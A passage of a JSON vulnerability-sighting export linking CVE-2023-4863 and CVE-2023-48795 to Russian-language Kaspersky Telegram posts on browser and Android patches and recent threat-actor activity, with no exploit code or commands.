\u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u0432 Google \u043e \u043d\u0435\u0439 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u0418\u0411-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Apple \u0438 Citizen Lab.  \n\u0412\u0447\u0435\u0440\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 Mozilla (Firefox \u0438 Thunderbird), \u0430 Microsoft \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u0432\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a \u043f\u0430\u0442\u0447\u0435\u0439 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Edge. \n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u0434\u0432\u0438\u0436\u043a\u0430\u0445 \u043e\u0442 Google \u0438 Mozilla \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Brave, Tor  \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432 \u0442\u043e\u0436\u0435 \u043d\u0443\u0436\u043d\u043e \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2023-09-13T09:21:05.000000Z"}, {"uuid": "5476b4c9-865e-4489-b259-3fc82b4d2eeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/kasperskyb2b/920", "content": "\ud83e\udd14 \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432 \u043d\u0430 \u0432\u0430\u0448\u0438\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445?\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0435, \u0447\u0442\u043e \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u043e\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0445 \u0434\u0432\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Edge \u0438 Chrome), \u0442\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e  \u0441\u0438\u043b\u044c\u043d\u043e \u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0430\u0435\u0442\u0435\u0441\u044c. \u041f\u043e\u0434 \u043a\u0430\u043f\u043e\u0442\u043e\u043c Windows \u043c\u043e\u0436\u0435\u0442 \u0447\u0430\u0434\u0438\u0442\u044c Internet Explorer \ud83d\ude35\u200d\ud83d\udcab. \u0427\u0442\u043e \u0435\u0449\u0451 \u0445\u0443\u0436\u0435, \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0445 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 Slack, Trello \u0438\u043b\u0438 Whatsapp) \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 Electron, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0432 \u0441\u0435\u0431\u0435 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 Chromium \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u041a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0430 \u043d\u0435\u0434\u0430\u0432\u043d\u044f\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0441 CVE-2023-4863, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 Chrome  \u043c\u043e\u0433\u0443\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0445 \u0438 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445 \u0432\u0440\u043e\u0434\u0435 \u00ab\u043f\u0440\u0438\u0441\u043b\u0430\u043b\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0443 \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u0447\u043a\u0443 \u0432 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0435\u00bb, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 \u0431\u0430\u0437\u0435 Electron \u0441\u0442\u043e\u044f\u0442 \u043f\u0440\u0438\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f. \u0427\u0442\u043e \u0441 \u043d\u0438\u043c\u0438 \u0434\u0435\u043b\u0430\u0442\u044c \u2014 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442\u044c \u0432\u0441\u0435\u0445 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u0432\u0435\u0431-\u0432\u0435\u0440\u0441\u0438\u0438 \u0438\u043b\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0442\u044c \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430 \u2014 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 \u0431\u043b\u043e\u0433\u0435.\n\n#\u0441\u043e\u0432\u0435\u0442\u044b @\u041f2\u0422", "creation_timestamp": "2023-10-05T12:55:29.000000Z"}, {"uuid": "a8c41fc0-d81c-4aba-b927-8732cceede9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/kasperskyb2b/917", "content": "\ud83d\udcf1 Android patch week \ud83d\udcf1 \n\n\u0412 \u043e\u043a\u0442\u044f\u0431\u0440\u044c\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Android \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b 54 \u0443\u044f\u0432\u0437\u0438\u043c\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435. \u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u2014 \u0443\u0436\u0435 \u0445\u043e\u0440\u043e\u0448\u043e \u0437\u043d\u0430\u043a\u043e\u043c\u0430\u044f \u043d\u0430\u043c CVE-2023-4863 \u0432  libwebp, \u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-4211 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\u0445 ARM Mali GPU, \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u0440\u043e \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u044e\u0442\u0441\u044f.\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043a \u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 \u0441\u0432\u043e\u0438 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b \u0432 Qualcomm, \u0437\u0430\u043a\u0440\u044b\u0432 \u0442\u0440\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u044f (CVE-2023-33106, -33107, -33063) \u0438 \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e CVE-2022-22071. \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 \ud83d\ude0f. \u041f\u043e\u043a\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e, \u0447\u0442\u043e \u0434\u044b\u0440\u044b \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\u0445 Adreno GPU \u0438 Compute DSP.  \u0422\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 13 \u0432\u0430\u0436\u043d\u044b\u0445, \u044d\u0442\u0438 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u043b\u0438\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041a\u0430\u043a \u0432\u043e\u0434\u0438\u0442\u0441\u044f, \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u044b Google Pixel \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 AOSP (\u0432\u0435\u0440\u0441\u0438\u0438 \u0441 11 \u043f\u043e 13) \u0443\u0436\u0435 \u043c\u043e\u0433\u0443\u0442 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0436\u0434\u0443\u0442, \u043f\u043e\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0440\u0430\u0437\u0440\u043e\u0434\u044f\u0442\u0441\u044f \u0438\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0438 \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u043e\u0432.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2023-10-04T10:12:19.000000Z"}, {"uuid": "a678fb42-caac-4f78-88f3-808e55337498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/kasperskyb2b/1090", "content": "\u23e9 Welcome back! \u0412\u043e\u0442 \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0432 \u043c\u0438\u0440\u0435 \u0418\u0411 \u0437\u0430 \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043d\u0438\u043a\u0443\u043b\n\n\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u0444\u043d\u043e \u043e \u0432\u0430\u0436\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\nIvanti EPM (9.6), OpenOffice (4 \u0448\u0442), QNAP (\u043f\u0430\u0447\u043a\u0430)\n\n\ud83d\udc22 \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Sea Turtle/Silicon/Cosmic Wolf \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u0432 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u0430\u0445.  \u0410\u0432\u0442\u043e\u0440\u044b \u043e\u0442\u0447\u0451\u0442\u0430 \u0441\u0447\u0438\u0442\u0430\u044e\u0442, \u0447\u0442\u043e APT \u0442\u0443\u0440\u0435\u0446\u043a\u0430\u044f, \u0446\u0435\u043b\u044c\u044e \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436, \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0415\u0432\u0440\u043e\u043f\u0435 \u0438 \u043d\u0430 \u0411\u043b\u0438\u0436\u043d\u0435\u043c \u0412\u043e\u0441\u0442\u043e\u043a\u0435.  \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u043d\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u044e\u0449\u0438\u0445 \u044d\u0442\u0430\u043f\u0430\u0445 \u0430\u0442\u0430\u043a\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b SnappyTCP. \u041a\u0441\u0442\u0430\u0442\u0438, \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u043e\u0445\u043e\u0442\u044b \u043d\u0430 \u044d\u0442\u0443 \u0443\u0433\u0440\u043e\u0437\u0443 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0434\u0440\u0443\u0433\u043e\u043c \u043f\u043e\u0441\u0442\u0435, \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0449\u0435\u043c, \u043a\u0430\u043a \u0432\u044b\u0434\u0435\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0442\u044c \u0438\u0445 \u0441\u043f\u0438\u0441\u043e\u043a, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445. \u041f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c DNS-\u0437\u0430\u043f\u0438\u0441\u0438 \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b.\n\n\u274c \u0420\u0430\u043d\u0441\u043e\u043c\u0432\u0430\u0440\u0449\u0438\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u043a \u0436\u0435\u0440\u0442\u0432\u0430\u043c. \u0416\u0435\u0440\u0442\u0432\u044b, \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u043f\u043b\u0430\u0442\u0438\u0432\u0448\u0438\u0435 \u0432\u044b\u043a\u0443\u043f \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f\u043c Akira \u0438 Royal, \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0437\u0430\u0432\u0443\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u043d\u0435\u0436\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430 \u00ab\u0432\u0437\u043b\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0440\u0430\u043d\u0441\u043e\u043c\u0432\u0430\u0440\u0449\u0438\u043a\u043e\u0432 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0442\u0443\u0434\u0430 \u0432\u0430\u0448\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb. \u0410\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0433\u043e \u0441\u043c\u0435\u043b\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u00ab\u0418\u0411-\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438\u00bb, \u0438\u0445 \u0441\u0432\u044f\u0437\u044c \u0441 \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438 ransomware \u043d\u0435 \u044f\u0441\u043d\u0430. \u042f\u0441\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u043d\u043e \u2014 \u0442\u0435, \u043a\u0442\u043e \u0437\u0430\u043f\u043b\u0430\u0442\u0438\u043b\u0438 \u0432\u044b\u043a\u0443\u043f, \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u0430\u044f \u0443 \u043d\u0438\u0445 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u0430 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043a\u0435\u043c-\u0442\u043e \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c. \n\n\u0410\u043d\u0430\u043b\u0438\u0437 \u0430\u0442\u0430\u043a APT Patchwork/APT-Q-36 \u043d\u0430 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0441\u0435\u043a\u0442\u043e\u0440 \u041a\u0438\u0442\u0430\u044f (\u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b, \u0433\u0443\u0433\u043b-\u0442\u0440\u0430\u043d\u0441\u043b\u0435\u0439\u0442). \u041d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433, \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0412\u041f\u041e \u2014 NorthStarC2.\n\n\ud83d\udc40 \u0418\u043d\u0442\u0435\u0440\u0435c\u043d\u0430\u044f 20-\u043c\u0438\u043d\u0443\u0442\u043d\u0430\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441 LABSCON23, \u043f\u043e\u0441\u0432\u044f\u0449\u0451\u043d\u043d\u0430\u044f \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u043e-\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u043c\u0443 \u043a\u043e\u043d\u0433\u043b\u043e\u043c\u0435\u0440\u0430\u0442\u0443 Intellexa \u0438 \u0438\u0445 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u043c\u0443 \u0412\u041f\u041e ALIEN/PREDATOR. \u0411\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u043a\u043b\u0430\u0434\u0430 \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u0441\u043f\u0435\u043a\u0442\u0430\u043c \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 Intellexa, \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u043a\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435, \u043d\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u043d\u0438\u043a\u043e\u0432 \u0442\u043e\u0436\u0435 \u0435\u0441\u0442\u044c.\n\n\ud83e\udd28 \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0430\u0442\u0430\u043a\u0438, \u0437\u0430\u0440\u0430\u0436\u0430\u044e\u0449\u0435\u0439 \u0436\u0435\u0440\u0442\u0432  \u043e\u043f\u0435\u043d\u0441\u043e\u0440\u0441\u043d\u044b\u043c \u0442\u0440\u043e\u044f\u043d\u0446\u0435\u043c AsyncRAT. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043d\u0430\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u044c\u044e \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0438\u0437\u0438\u0440\u0443\u044e\u0442 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c: \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u0440\u0430\u0436\u0430\u0442\u044c \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435, \u0447\u0435\u043c-\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0438\u043c \u0436\u0435\u0440\u0442\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u043f\u0440\u0438\u043b\u0430\u0433\u0430\u044e\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0441\u0438\u043b\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043e\u0442\u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430. \u0412\u041f\u041e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 DGA, \u0430 \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u043a\u0443\u043f\u0430\u044e\u0442 \u043d\u043e\u0432\u044b\u0435 \u0434\u043e\u043c\u0435\u043d\u044b. \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0430 \u0443\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 11 \u043c\u0435\u0441\u044f\u0446\u0435\u0432. \n\n\u0410\u043d\u0430\u043b\u0438\u0437 \u043d\u043e\u0432\u043e\u0433\u043e \u0442\u0440\u043e\u044f\u043d\u0446\u0430 SilverRAT, \u043d\u0430\u0431\u0438\u0440\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0443 \u043a\u0438\u0431\u0435\u0440\u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0430 \u0441 \u043d\u043e\u044f\u0431\u0440\u044f. \u041a\u0440\u043e\u043c\u0435 \u0442\u0438\u043f\u043e\u0432\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432\u0440\u043e\u0434\u0435 \u043a\u0440\u0430\u0436\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 RDP, \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c SilverRAT \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Windows \u043f\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.\n\n\ud83d\ude0e \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0430\u043d\u0442\u0438\u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0445 \u0442\u0440\u044e\u043a\u043e\u0432 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 